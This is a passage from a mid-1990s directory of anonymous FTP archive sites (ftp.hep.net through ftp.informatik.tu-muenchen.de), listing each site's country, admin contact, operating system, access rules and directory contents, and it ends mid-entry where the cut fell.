Unix +URL : ftp://ftp.hep.net/ +Comment: tar and (de)compress on the fly available +Files : AFS; AIP-FYI; CERN-news; conferences; dhep; edwg; FERMI-news; + FERMI-pubs; hepix; HEPNet-news; htcc; ieee8021; itspit; + lists-archive; MBONE; networks; nhm-reports; physics-news; + simple-times; spires; ssc-news; top-quark; utilities; videoconf + +Site : ftp.hitachi.co.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : maruhasi@hrl.hitachi.co.jp (Fumio Maruhashi) {posting} +Alias : hitwide.hitachi.co.jp +Admin : ftp-admin@hitwide.hitachi.co.jp +Organ : Hitachi Co., Ibaraki +Server : +System : Unix +URL : ftp://ftp.hitachi.co.jp/ +Comment: transfers are logged; max. 10 users +Files : GNU (from s.u-tokyo.ac.jp); HP-UX; Linux; Mac (InfoMac, from + ftp.u-tokyo.ac.jp); music (lute); net (CF, conferencing, CU-SeeMe, + IRC, net-research, news, PPP, security, sendmail, tis-firewalls, + WIDE-sendmail, WWW, wwwstat); NetBSD (from ftp.iij.ad.jp); netinfo + (IETF, internet-drafts, jepg-IP, jpnic, jpnic-pub, RFC); TeX + (from ftp.iij.ad.jp); X (from ftp.x.org) + +Site : ftp.hk.super.net +Country: Hong Kong +GMT : +8 +Date : 15-Dec-94 +Source : kenng@hk.super.net (Ng Wang Lui) {posting} +Alias : hk.super.net +Admin : +Organ : Hong Kong SuperNet +Server : +System : Unix +URL : ftp://ftp.hk.super.net/ +Comment: +Files : Hong Kong; Humanist; Mac; MS-DOS; NetScape; News Xpress (Windows + newsreader); OS/2; SuperNet; Unix; Windows + +Site : ftp.hmc.edu +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : tortorel@malibu.sfu.ca (Richard Tortorella) {posting} +Alias : anubis.hmc.edu +Admin : +Organ : Harvey Mudd College, , Academic Computing Center +Server : +System : Unix +URL : ftp://ftp.hmc.edu/ +Comment: file transfers are logged; directories maintained by students, staff + or faculty members; read the README files per directory +Files : CODEE; CUSP; Enchefferizer (alt.swedish.chef.bork.bork.bork); + csound; deckmaster; diplomacy; drugs; Emacs; games; infosystems; + Internet; interpedia; Mac; Mac; packages; Perl; PostScript; Saturn; + science; sgml; Solaris; Swat90; WWW + +Site : ftp.hookup.net +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : vertex.tor.hookup.net +Admin : +Organ : Hookup +Server : +System : Unix +URL : ftp://ftp.hookup.net/ +Comment: +Files : acrobat; BSD; Hookup info; Internet.info [mostly old, incl. old + ftp-list]; Mac (network utils); misc (GIFs, slip); MS-DOS (network + utils); MS-Windows (apps, faq, viewers, winsock); MSK; SCO; Unix + +Site : ftp.hq.eso.org +Country: Germany +GMT : +1 +Date : 15-May-94 +Source : daves@regulus.demon.co.uk (David M. Swain) +Alias : serv2.hq.eso.org +Admin : ftp-admin@eso.org +Organ : European Southern Observatory (ESO), Garching +Server : +System : Unix +URL : ftp://ftp.hq.eso.org/ +Comment: All transfers are logged; open 24 hours; for incoming files, + generate a directory under /incoming and put files there. incoming + files will be deleted after 30 days; MIDAS beta-test sites, log in + as beta-midas (passwords from cguira@eso.org (Carlos Guirao) or + resy@eso.org (Resy de Ruijsscher)); MIDAS users, log in as midas + (passwords from resy@eso.org) +Files : Astronomical images; ESO Preprints (some); FITS documents/testfiles; + MIDAS (astronomical image processing) files; NTT; SAO; Star Catalogs; + StyleGuide; TeX DVI drivers + +Site : ftp.hq.nasa.gov +Country: USA +GMT : -5 +Date : 15-May-94 +Source : daves@regulus.demon.co.uk (David M. Swain) +Alias : hq.nasa.gov, x500.hq.nasa.gov +Admin : ftp-admin@ftp.hq.nasa.gov +Organ : NASA - HQ, Washington D.C., D.C. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.hq.nasa.gov/ +Comment: all transfers are logged +Files : NASA financial management manual, HQ documents, HQ phonebook; qdsa; + RFP; travel.rates + +Site : ftp.hrz.uni-giessen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sun1.hrz.uni-giessen.de, word.hrz.uni-giessen.de, ftp.uni-giessen.de +Admin : +Organ : Universitaet Giessen (University of Giessen), Giessen, CC +Server : +System : +URL : ftp://ftp.hrz.uni-giessen.de/ +Comment: +Files : + +Site : ftp.hrz.uni-kassel.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : hrz-ws26.hrz.uni-kassel.de +Admin : ah@hrz-serv7.hrz.uni-kassel.de (Andreas Heitmann) +Organ : Universitaet Kassel (University of Kassel), Kassel, CC +Server : +System : +URL : ftp://ftp.hrz.uni-kassel.de/ +Comment: +Files : + +Site : ftp.htwm.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP Server List +Alias : minic.htwm.de +Admin : pubadmin@htwm.de +Organ : HTW Mittweida, Mittweide, CC +Server : +System : Unix +URL : ftp://ftp.htwm.de/ +Comment: also available through gopher, www +Files : HP-UX; HP external; misc + +Site : ftp.hzeeland.nl +Country: Netherlands +GMT : +1 +Date : 24-May-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : eddy@hzeeland.nl (Eddy van Loo) +Organ : Hogeschool Zeeland (Zeeland College), Vlissingen +Server : +System : MS-DOS (KA9Q on a 8Mhz AT) +URL : ftp://ftp.hzeeland.nl/ +Comment: do not use outside of HZ-net (hzeeland.nl) until they've upgraded + their link (9K6 now); directories are on a Novell fileserver +Files : arcutil; c; cdrom; comms; ddj; desqview; dosutil; fnews; gif; + graphic; ham; kop; lan; pcmag; rfc; sat; sound; virus; virus-l; + wpdrv + +Site : ftp.ia.pw.edu.pl +Country: Poland +GMT : +1 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : csd.ia.pw.edu.pl +Admin : +Organ : Technical University of Warsaw, Warsaw, CS dept. +Server : +System : Unix +URL : ftp://ftp.ia.pw.edu.pl/ +Comment: Problem: I/O error on network device +Files : + +Site : ftp.iaehv.nl +Country: Netherlands +GMT : +1 +Date : 25-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : iaehv.iaehv.nl +Admin : ftp@ftp.iaehv.nl +Organ : Internet Access Eindhoven, Eindhoven +Server : http://www.iaehv.nl/ +System : Unix (FreeBSD, PC) +URL : ftp://ftp.iaehv.nl/ +Comment: [rest of pub/users needs to be checked] +Files : NLnet material (FAQ and ftp list); Rnf; several public user + directories in /pub/users: perry (Integral Dutch Course and some + modem AT code docs) + +Site : ftp.iastate.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : old ftp-list +Alias : net-1.iastate.edu +Admin : ftp@iastate.edu +Organ : Iowa State University, , Iowa +Server : +System : Unix +URL : ftp://ftp.iastate.edu/ +Comment: Open 24 hours; all transfers are logged +Files : 386BSD; abc; afs-kerb; condor; console; crash; IRC; ITR (Internet + Talk Radio); Linux; lyrics; Mac; NetBSD; Netinfo; news; NT; PC; + Utah-raster; Vax; Wylber; mirrors galore and ftp.uwp.edu (lyrics); + XFree86 (mirror of ftp.xfree86.org under consideration) + +Site : ftp.ibm.net +Country: USA +GMT : -6 +Date : 24-Jan-95 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : ftp01.ny.us.ibm.net +Admin : +Organ : IBM, New York, New York +Server : +System : Unix +URL : ftp://ftp.ibm.net/ +Comment: OS/2 related files +Files : Advantis ; fixes; games (simdemo, trickle); gen-info (some network + related docs, some old); NewsReader; PPP; warpcom; WebExplorer + +Site : ftp.ibp.fr +Country: France +GMT : +1 +Date : 30-Oct-94 +Source : cao-vlsi.ibp.fr info; Perry.Rovers@kub.nl +Alias : pascal.ibp.fr, ftp.jussieu.fr, gopher.jussieu.fr +Admin : ftpmain@ibp.fr, ftp@ftp.ibp.fr +Organ : University Pierre et Marie Curie - MASI Lab., Paris, Centre + National de la Recherche Scientifique (National Center for + Scientific Research, CNRS), Institut Blaise Pascal (Blaise Pascal + Institute, IBP)/Centre de Calcul Recherche (CCR) Jussieu +Server : gopher.jussieu.fr +System : Unix +URL : ftp://ftp.ibp.fr/ +Comment: max. 100 users; index files: new-last-month, new-this-week; + transfers are logged +Files : Annex; AppleTalk; CERT; distributed_systems; docs; emacs; faces; + FreeBSD; ghost; gnat; GNU; IBP info; IFIP; iman; Linux; Mac; Mach; + meteo; MS-DOS; NetBSD; parallel; RFCs; sfca95; Sun; Tcl/Tk + (ftp.cs.berkeley.edu); TeX; Unix; vsta; Windows3; WWW + +Site : ftp.icce.rug.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : obelix.icce.rug.nl +Admin : E.J.Vens@icce.rug.nl (Erik-Jan Vens) +Organ : Rijks Universiteit Groningen (RUG, University of Groningen), + Groningen, ICCE +Server : +System : Unix +URL : ftp://ftp.icce.rug.nl/ +Comment: directory: pub/erikjan; notify the admin if you leave something + in incoming/ +Files : 4tex (TeX for 4dos); Adobe (Fonts); AI stuff (/pub/peter); Atari; + dictionaries; fonts (PostScript); Ghostscript; MIDI2TeX; + +Site : ftp.iclnet.org +Country: USA +GMT : -8 +Date : 18-Aug-94 +Source : k3ras@charney.gsfc.nasa.gov (Raymond Sears) +Alias : iclnet93.iclnet.org +Admin : root@iclnet93.iclnet.org +Organ : ICL +Server : +System : Unix +URL : ftp://ftp.iclnet.org/ +Comment: +Files : astronomy; bench; calculators; cccoalition; cdrom; cisco; clm; + cygnus; database; docs; facdialogue; games; GNU; graphics; + InterVarsity; mail; math; multimedia; music; network; news; NeWS; + postscript; programming; rainet; resources; RFCs; security; shells; + simulation; Solaris; Sun; SunOS-patches; sysadmin; text; UCB; X11; + XView + +Site : ftp.icot.or.jp +Country: Japan +GMT : +9 +Date : 11-Mar-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : net-admin@icot.or.jp +Organ : ICOT +Server : +System : Unix +URL : ftp://ftp.icot.or.jp/ +Comment: /pub appears empty [!] +Files : + +Site : ftp.ics.forth.gr +Country: Greece +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : ariadne.csi.forth.gr, pythia.csi.forth.gr +Admin : +Organ : Foundation of Research and Technology (FORTH), Institute of Computer + Science (ICS), Heraklion, Crete +Server : +System : Unix +URL : ftp://ftp.ics.forth.gr/ +Comment: max. 10 foreign users; read /CAPTIVE-README for further information + and /README for special features; max. bandwidth allocated differs +Files : + +Site : ftp.ics.uci.edu +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : old ftp-list +Alias : ics.uci.edu +Admin : +Organ : University of California - Irvine, Irvine, California, + Information & CS dept. (ICI) +Server : +System : Unix +URL : ftp://ftp.ics.uci.edu/ +Comment: directory: /mrose/isode-snmpV2; server can tar and (de)compress; + transfers are logged +Files : anime; answer-garden; arcadia; atm; cadlab; cheers; classweb-code; + comp.protocols.{iso,x400}; cyberspace; dbox; dos-virus; GNU; + heimdahl; honig; ibl; ifip; internet; isode-snmpV2; Mac; + machine-learning; mentoring-workshop; mh; ml-list; perfect hash + function gen.; Protoize/Unprotoize; rec.games.frp; RFCs; + soc.feminism; Sun; sureality; taketani; tcas; TeX; Think C; Unix; + usenet; volper-katz; Web-to-C; wang + +Site : ftp.ict.pwr.wroc.pl +Country: Poland +GMT : +1 +Date : 30-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : asic.ict.pwr.wroc.pl +Admin : admin@asic.pwr.wroc.pl +Organ : PWR, Wroclaw, Institute of Technical Cybernetics +Server : +System : Unix +URL : ftp://ftp.ict.pwr.wroc.pl/ +Comment: max. 5 users; server can gzip and tar; please use during off-peak + hours; +Files : FAQs; GNU; humor; Linux; MS-DOS; nettools; RFCs; security; Sun; X11 + +Site : ftp.icsi.berkeley.edu +Country: USA +GMT : -8 +Date : 10-Feb-94 +Source : stolcke@icsi.berkeley.edu (Andreas Stolcke) +Alias : icsia.icsi.berkeley.edu +Admin : ftp@icsi.berkeley.edu +Organ : University of California - Berkeley, Berkeley, California, + International Computer Science Institute (ICSI) +Server : ftpmail@icsi.berkeley.edu (send help) +System : Unix +URL : ftp://ftp.icsi.berkeley.edu/ +Comment: supports (un)compression, directory tarring and reget; special + directory listing with explanation of dirs: handy! (use + -username@host to suppress); replaces icsic.berkeley.edu +Files : Emacs lisp code; FTP client program; FTP mail help; ICSI: AI group + docs and software, Computing Systems newsletter, finger, Speech + group, technical reports & papers, Theory group; pmake/customs; + RAP docs; Sather language (home); Tenet group docs and software + +Site : ftp.ida.liu.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : informatix.ida.liu.se, curofix.ida.liu.se +Admin : ftpadm@ida.liu.se +Organ : Linnkoping University, Linnkoping, CS dept. (IDA) +Server : +System : Unix +URL : ftp://ftp.ida.liu.se/ +Comment: directory: /pub/lincks; max. 30 users +Files : activities; bibframe; ISODE-SNMPV2; labs; Lincks; net; tech-reports + +Site : ftp.iem.pw.edu.pl +Country: Poland +GMT : +1 +Date : 21-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : volt.iem.pw.edu.pl +Admin : +Organ : Technical University of Warsaw, Warsaw, IEM +Server : +System : Unix +URL : ftp://ftp.iem.pw.edu.pl/ +Comment: +Files : 386BSD; BSD; BSD4.4-Lite; cad; docs (archie, cdrom, Clarinews, net, + news, RFCs, security, TeX); Dr.Dobbs Journal; FAQs; gatekeeper; GNU; + IETiME; kayak; Linux (debian, dkl, kernel from sunsite.unc.edu) ; + Mach3; NetBSD; pcnap; postscript; pspt; Qnx; wuarchive (windows, + xappeal); X11R6 + +Site : ftp.iesd.auc.dk +Country: Denmark +GMT : +1 +Date : 10-Sep-94 +Source : terra@diku.dk (Morten Welinder); old ftp-list +Alias : iesd.auc.dk, nano.iesd.auc.dk +Admin : ftp@iesd.auc.dk +Organ : Aalborg University, Aalborg, Math and CS dept. +Server : +System : Unix +URL : ftp://ftp.iesd.auc.dk/ +Comment: Please try closer sites first before transferring large files; + libcoll and other Objective-C can now be found at + ftp.cs.rochester.edu +Files : conferences; games; Home site of: AUC TeX (pub/emacs-lisp), CoCo + (pub/CoCo), Deeper Trouble MUD (pub/lpmud), Tav (pub/Tav); IETF; + Linux; packages [?]; projects; reports; sjis; system [?] + +Site : ftp.iet.unipi.it +Country: Italy +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : pical3.iet.unipi.it +Admin : +Organ : University of Pisa, Pisa, IET +Server : +System : Unix +URL : ftp://ftp.iet.unipi.it/ +Comment: +Files : bridge; deit_wattcp; ispy; net_tar; pcserver; tracs + +Site : ftp.ifh.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : convex.ifh.de +Admin : root@convex.ifh.de +Organ : IFH, Zeuthen +Server : +System : +URL : ftp://ftp.ifh.de/ +Comment: +Files : CERN; Convex; GNU; Linux; shells; Unix; WWW; X11R5 + +Site : ftp.ifi.uio.no +Country: Norway +GMT : +1 +Date : 15-Dec-94 +Source : Archive-name: games/roguelike; old ftp-list; Perry.Rovers@kub.nl +Alias : ifi.uio.no, menja.ifi.uio.no +Admin : +Organ : +Server : http://www.ifi.uio.no/ +System : Unix +URL : ftp://ftp.ifi.uio.no/ +Comment: special access features: see /README; directory: /pub/crossfire +Files : bel-canto; bench; blab; chaos; chipmunk; Crossfire (Roguelike game); + dag; dicts; docs; FuncInt; idraw; lyapunov; mm; molbio; news; NFR; + obh; OL; ordbok; Pink Floyd; psai; reports; rolem; sci; SGML; + SIGhyper; simbook; Simulatools; soc; swipp; TEI; TeX; trier; VLSI; + X11; Xtd; yam + +Site : ftp.ifi.unizh.ch +Country: Switzerland +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : claude.ifi.unizh.de +Admin : maffeis@ifi.unizh.de +Organ : University of Zurich, Zurich, CS dept. +Server : +System : +URL : ftp://ftp.ifi.unizh.ch/ +Comment: +Files : Unizh techreports; TeX; bibliographies; C++ docs; OMG/COBRA docs + +Site : ftp.igd.fhg.de +Country: Germany +GMT : +1 +Date : 19-Feb-95 +Source : font.ensmp.fr +Alias : dakeeper.igd.fhg.de +Admin : ftp-admin@igd.fhg.de (Dragana Likaec) +Organ : IGD Darmstadt, Darmstadt +Server : +System : Unix +URL : ftp://ftp.igd.fhg.de/ +Comment: max. 100 users; server can (de)compress, g(un)zip and tar; server + supports reget; transfers are logged +Files : AI Clips; docs (colour, misc, tech-reports, www); graphics (anim, + cgcr, foley&van-dam, geomview, tgif, tiff, vogl); languages (C++, + perl, smalltalk, tcl); multimedia (docs, hyperlook, images, MAEstro, + MetaCard, quotations); packages (AI, frame, fsp, gopher, Grass, + ISVAS, Kermit, mail, networking, news, Oracle, Postgres, TeX, + Theseus++, wuarchive-ftpd, WWW, X11, X11R5, X11R6); systems (AIX + [empty?], Amiga (aminet, biz, comm, dev, disk, docs, fish, game, + gfx, misc, mus, pix, text, unix, util), GNU, Mac, MS-DOS (antivirus, + graphic, packer, www), OS/2 (archiver, bbs, bugfixes, comm, + comp.binaries.os2, demos, diskutils, drivers, ews, games, graphics, + misc, programmer, shells, sound, system, systools, tcpip, tools), + SGI [empty?], Solaris, Sun (sources), Unix (security)); wise (cec, + reports); WWW95 + +Site : ftp.iglou.com +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : billa@netcom.com (William Arnett) {posting} +Alias : iglou.com +Admin : postmaster@iglou.com +Organ : IgLou Internet Services +Server : +System : Unix +URL : ftp://ftp.iglou.com/ +Comment: Shoemaker-Levy 9 images in comet/images +Files : FAQs; IgLou info; Linux; Mac; mirrors: Doom: + infant2.sphs.indiana.edu, MS-DOS games: ftp.uml.edu, MS-Windows: + ftp.cica.indiana.edu; modem; Shoemaker-Levy 9 (SL9) images; slip; + Uninet + +Site : ftp.ii.pw.edu.pl +Country: Poland +GMT : +1 +Source : admin +Alias : papcio.ii.pw.edu.pl +Admin : gjb@ii.pw.edu.pl (Grzegorz Blinowski) +Organ : Warsaw University of Technology, Warsaw, CS dept. +Server : +System : Unix (HP-UX 9, HP 9000/755) + will move to Solaris 2.3/SparcStation10 +URL : ftp://ftp.ii.pw.edu.pl/ +Comment: everything is logged +Files : conference announcements; docs; FreeBSD; ftp; kbn; parallel & + distributed computing docs; Rough sets; software; systems; + tech-reports; uploads + +Site : ftp.iii.net +Country: USA +GMT : -5 +Date : 22-Dec-94 +Source : bob@1776.com (Robert Coe) {mailinglist} +Alias : iii1.iii.net +Admin : +Organ : III +Server : +System : Unix +URL : ftp://ftp.iii.net/ +Comment: user pubdirectories under pub-site +Files : docs; IP; NetManage; pub-site (1776 (rnf079b6), abbate, drown, kmb, + pbrady, rafflin, solitude, wellspring); SLIP-PPP (Mac, PC); utils; + WizeWabbit-1.3BSD + +Site : ftp.iij.ad.jp +Country: Japan +GMT : +9 +Date : 10-Sep-94 +Source : MODERxx.ZIP; dlist@ora.com; ftp.xfree86.org +Alias : +Admin : ftp@ftp.iij.ad.jp +Organ : Internet Initiative Japan +Server : +System : Unix +URL : ftp://ftp.iij.ad.jp/ +Comment: compress/tar/gunzip on the fly; updatefile.thisweek/today.Z; + anonymous UUCP; remote command: site index filename +Files : 386BSD; academic; comm; docs; FreeBSD; GNU; inet; info; + Info-Mac mirror; Internet; Internet drafts; ISOC; Linux; Mac; + magazines; misc; MS-DOS; MS-DOS-J; Multicast; Net2; NetBSD; netman; + Netnews; network; news; NeXT; published; RFCs; security; standards; + systems; TeX; unix-magazine; vendor; Win3 (ftp.cica.indiana.edu); X; + XFree86 (mirror from ftp.xfree86.org under consideration) + +Site : ftp.iitb.ernet.in +Country: India +GMT : +6 +Date : 23-Aug-94 +Source : admin +Alias : cc2.iitb.ernet.in +Admin : postmaster@iitb.ernet.in, vijay@iitb.ernet.in (Vijay Talati) +Organ : Indian Institute of Technology (IIT) - Bombay, Bombay, + ERNET, CS and Engineering dept. +Server : ftpmail@iitb.ernet.in (Indian sites only) +System : Unix (SunOs 4.1.1) +URL : ftp://ftp.iitb.ernet.in/ +Comment: Would be too slow for users outside INDIA; time is actually 5:30; +Files : FAQs; imaging software; networking; Public domain stuff of interest + to IITs and other Indian sites; RFCs; Unix ; X11R6; xutils + +Site : ftp.iitf.doc.gov +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : +Alias : ntiaunix1.ntia.doc.gov, iitf.doc.gov +Admin : +Organ : US Department of Commerce, Washington, District of Columbia +Server : +System : Unix +URL : ftp://ftp.iitf.doc.gov +Comment: +Files : advcouncil; calendar; faq; grantinfo; iitf; images; leg; + legislation; menu; papers; press; unix; virtual + +Site : ftp.ijs.si +Country: Slovenia +GMT : +1 +Date : 30-Oct-94 +Source : depol@cui.unige.ch (Philippe de Pol) +Alias : uhura.ijs.si +Admin : Andrej.Bauer@ijs.si +Organ : +Server : www.ijs.si +System : Unix +URL : ftp://ftp.ijs.si/ +Comment: max. 8 users +Files : communication; docs; GNU; graphics; Linux; LISP; MS-DOS; NLU; + pic; sound; TeX; X; WWW; zx + +Site : ftp.ilt.columbia.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : +Alias : socrates.ilt.columbia.edu +Admin : +Organ : Columbia University, New York, New York, +Server : +System : Netware (Netware 3.11, PC fileserver) +URL : ftp://ftp.ilt.columbia.edu/ +Comment: +Files : copyright; FAQs; gallery; ilt (docs, ILTinfo, misc, projects); + Internet (net docs); livetext; Mac (Bobs_HTML_Editor, communication, + CUSeeMe, FirstClass, HTML, icons, MacWeb, maven, Mosaic, netscape, + rapmaster, QuickTime, Toolkits, tr-www, utilities, Webstat; + PC (browsers, CUSeeMe, FirstClass, htmlassist, pkzip, SLIPKnot, + TCP apps, viewers, wordhtml); projects; texts (McClintock, Dewey) + +Site : ftp.imada.ou.dk +Country: Denmark +GMT : +1 +Date : 23-May-94 +Source : +Alias : verdi.imada.ou.dk +Admin : +Organ : Odense University, Odense +Server : +System : Unix +URL : ftp://ftp.imada.ou.dk/ +Comment: also available through gopher +Files : algotronix; docs; emacs; FAQs; graphcol; mathpro; meiko; mirrors; + papers; progrs; vdmsl standard; X + +Site : ftp.imb-jena.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : degas.imb-jena.de +Admin : ftp@imb-jena.de +Organ : , Jena +Server : +System : +URL : ftp://ftp.imb-jena.de/ +Comment: +Files : + +Site : ftp.ims.uni-stuttgart.de +Country: Germany +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : adler.ims.uni-stuttgart.de +Admin : +Organ : Universitaet Stuttgart (University of Stuttgart), Stuttgart +Server : +System : Unix +URL : ftp://ftp.ims.uni-stuttgart.de/ +Comment: +Files : charon; communication; corpora; cuf; DOS; dyana2; et10-52; games; + GNU; homophones; ICL; ilr; info; languages; lexicase; lfg; Mac; + NeXT; papers; TeX; TFS; tools; Unix; vmob; Wordnet; X11 + +Site : ftp.imt-mrs.fr +Country: France +GMT : +1 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : imt950.imt-mrs.fr +Admin : +Organ : Institut Mediterraneen de Technologie +Server : +System : Unix +URL : ftp://ucsi.imt-mrs.fr/ +Comment: +Files : benchcray; benchumn; PC (games, several useful utils); Unix (several + useful utils) + +Site : ftp.inbe.net +Country: Belgium +GMT : +1 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : ftp.innet.be +Admin : support@inbe.net +Organ : INnet Belgium, Geel +Server : +System : Unix +URL : ftp://ftp.inbe.net/ +Comment: please use during off-peak hours; mostly meant for INnet users; + most things are mirrored from elsewhere; everything is logged +Files : docs: atm, cdma, dsis, esdi, faq, iana, ieee802, ien, internet, + ipx-spx, iso, mobility, netbios, performance, protocols, rfc, x.25, + x3t9.2, x3t9.5; networking: alex, appletalk, archie, bbs, cmot, + cso-nameserver, dnet, essence, fsp, gopher, hytelnet, icmp, ipx-spx, + irc, isode, osi, prospero, routing, snmp, veronica, wais, whois++, + www, x.25, x.500, xns; Unix: BSDI, FreeBSD, GNU, Linux, mail, + shells, XFree86; vendors: 3COM, ATI, Adaptec, Borland, cdrom.com, + Crynwr, FTPSoftware, IBM, Intel, Intercon, Microsoft, Netmanage, + OReilly, prenhall, Quest, Telebit + +Site : ftp.indiana.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Indiana University, Bloomington, Indiana +Server : +System : Unix +URL : ftp://ftp.indiana.edu/ +Comment: successor of logos.ucs.indiana.edu [not listed as obsolete] +Files : + +Site : ftp.indirect.com +Country: USA +GMT : -7 +Date : 25-Jan-95 +Source : jeffw@indirect.com (Jeffrey D. Wheelhouse) +Alias : bobo.indirect.com +Admin : support@indirect.com +Organ : Internet Direct, Phoenix, Arizona +Server : +System : Unix (SunOS 4.1.3) +URL : ftp://ftp.indirect.com/ +Comment: experimental server +Files : aci; admin; cr; drc; ics; information about the 'Greencard' posting; + mm; software (depot, hamradio, Linux, Mac, MS-DOS, MUD, Netscape, + offline, OS/2, OS/2 Warp, pics, slip, telix, Windows 3.1, + Windows 95, Windows NT + +Site : ftp.inesca.pt +Country: Portugal. +GMT : 0 +Date : 25-Jan-95 +Source : +Alias : inesca.inesca.pt +Admin : pjf@inesca.pt +Organ : INESC (Instituto de Engenharia de Sistemas e Computadores), Aveiro +Server : +System : Unix +URL : ftp://ftp.inesca.pt/ +Comment: Postscript versions of research reports, preprints and papers + written by people at the EE dept. of INESC Aveiro +Files : CML (from cml.rice.edu); greco; papers: Armando J. Pinho, Paulo J. + Ferreira, Tomas Oliveira e Silva; tomografia (Alunos de APDS) + +Site : ftp.inf.tu-dresden.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : irz301.inf.tu-dresden.de +Admin : ftp@ftp.inf.tu-dresden.de +Organ : Technische Universitaet Dresden (Dresden Institute of Technology), + Dresden, CS dept. +Server : ftpmail@irz.inf.tu-dresden.de, mail-server@irz.inf.tu-dresden.de +System : Unix +URL : ftp://ftp.inf.tu-dresden.de/ +Comment: requires an RFC822 compliant address as a password; up/downloads are + logged; max. non-local 1 user at high traffic time, 4 users at + saturday, sunday or 18:00-06:00 MET; (de)compress, tar on the fly; + online site index: quote site index +Files : Acorn; AlphaCD; Amiga; Atari; doc; fun; GNU; graphics; hamradio; + infosystems; lang; Linux; magazine; MS-DOS; news; OS/2; projects; + statistics; TeX; TUD info; Unix; Usenet; Windows NT; Windows; X11; + ZX Spectrum + +Site : ftp.info.apple.com +Country: USA +GMT : -6 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : grinch.austin.apple.com +Admin : +Organ : Apple Computer, Austin, Texas +Server : +System : Unix +URL : ftp://ftp.info.apple.com/ +Comment: max. 100 users +Files : Apple Support; DRC; dts (pr, utils); standards + +Site : ftp.info.net +Country: USA +GMT : -8 +Date : 24-Jan-95 +Source : cherry@info.net (Bob Cherry) +Alias : delta.info.net +Admin : +Organ : INFO..net, El Segundo, California +Server : +System : Unix (SunOS 4.1.3, Sparc20) +URL : http://www.info.net/ +Comment: max. 15 users +Files : networking docs and popular tools (small selection at this time) + + +Site : ftp.infocom.ru +Country: Russia +GMT : +3 +Date : 30-Oct-94 +Source : viv@rla.msk.su (Vladimir Ivanov) +Alias : hq.ic.simbirsk.su +Admin : diman@ic.simbirsk.su +Organ : Infocom Center, Ltd., Simbirsk +Server : mailserv@ic.simbirsk.su (send "help"), ftpmail@ic.simbirsk.su +System : +URL : ftp://ftp.infocom.ru/ +Comment: Limited access [probably .su hosts only] +Files : dos; pictures; hardware; mailservers; maps; swift; + texts; unix; uupc; doc; garbo; ic-software; keywords; + rfc; windows; fidonet; fts; mac; msdos; os2; sound; + soundcards + +Site : ftp.infomagic.com +Country: USA +GMT : -7 +Date : 15-Dec-94 +Source : joel@boris.infomagic.com (Joel Goldberger) {posting} +Alias : boris.infomagic.com +Admin : +Organ : Infomagic +Server : +System : Unix (SunOS 4.1.3, SparcSystem 400) +URL : ftp://ftp.infomagic.com/ +Comment: transfers are logged; 128Mb RAM; 14Gb disk; +Files : alt.sources; flagship (Clipper for Linux); foothills; GNU + (mirror from prep.ai.mit.edu); InfoMagic catalogue; Linux (Alan + Cox's Net Code (sunacm.swan.ac.uk), Bogus distribution + (phys-pc61.med.unc.edu), Japanese Extensions, kernel (from + ftp.funet.fi), sunsite.unc.edu, tsx-11.mit.edu, Wine Project); + MS-DOS (garbo.uwasa.fi); Project Gutenberg; Supreme Court Decisions; + Windows (mirrors: ftp.cica.indiana.edu, garbo.uwasa.fi); WWW; X11R6 + (from ftp.x.org) + +Site : ftp.informatik.rwth-aachen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-server List; PC NFS FAQ +Alias : sally.informatik.rwth-aachen.de +Admin : ftpadm@informatik.rwth-aachen.de +Organ : RWTH Aachen, Aachen, Rechnersbetrieb Informatik (CS dept. CC) +Server : +System : Unix +URL : ftp://ftp.informatik.rwth-aachen.de/ +Comment: Open 24 hours +Files : Amiga; Atari; Bible; GNU; graphics; GRAS (/pub/unix/GRAS); mail+news; MS-DOS; RFCs; + Simtel mirror (/pub/simtel: archives, Info-MAC, misc, MS-DOS, + Unix-C, PC-blue, CP/M from another campus host + (reze-2.rz.rwth-aachen.de); programming; PROGRES Sun 4 + (/pub/unix/PROGRES); sounds; TeX; Unix; X11 + +Site : ftp.informatik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List; k3ras@charney.gsfc.nasa.gov + (Raymond Sears); ewald@informatik.tu-muenchen.de (Karl Ewald) + {posting} +Alias : 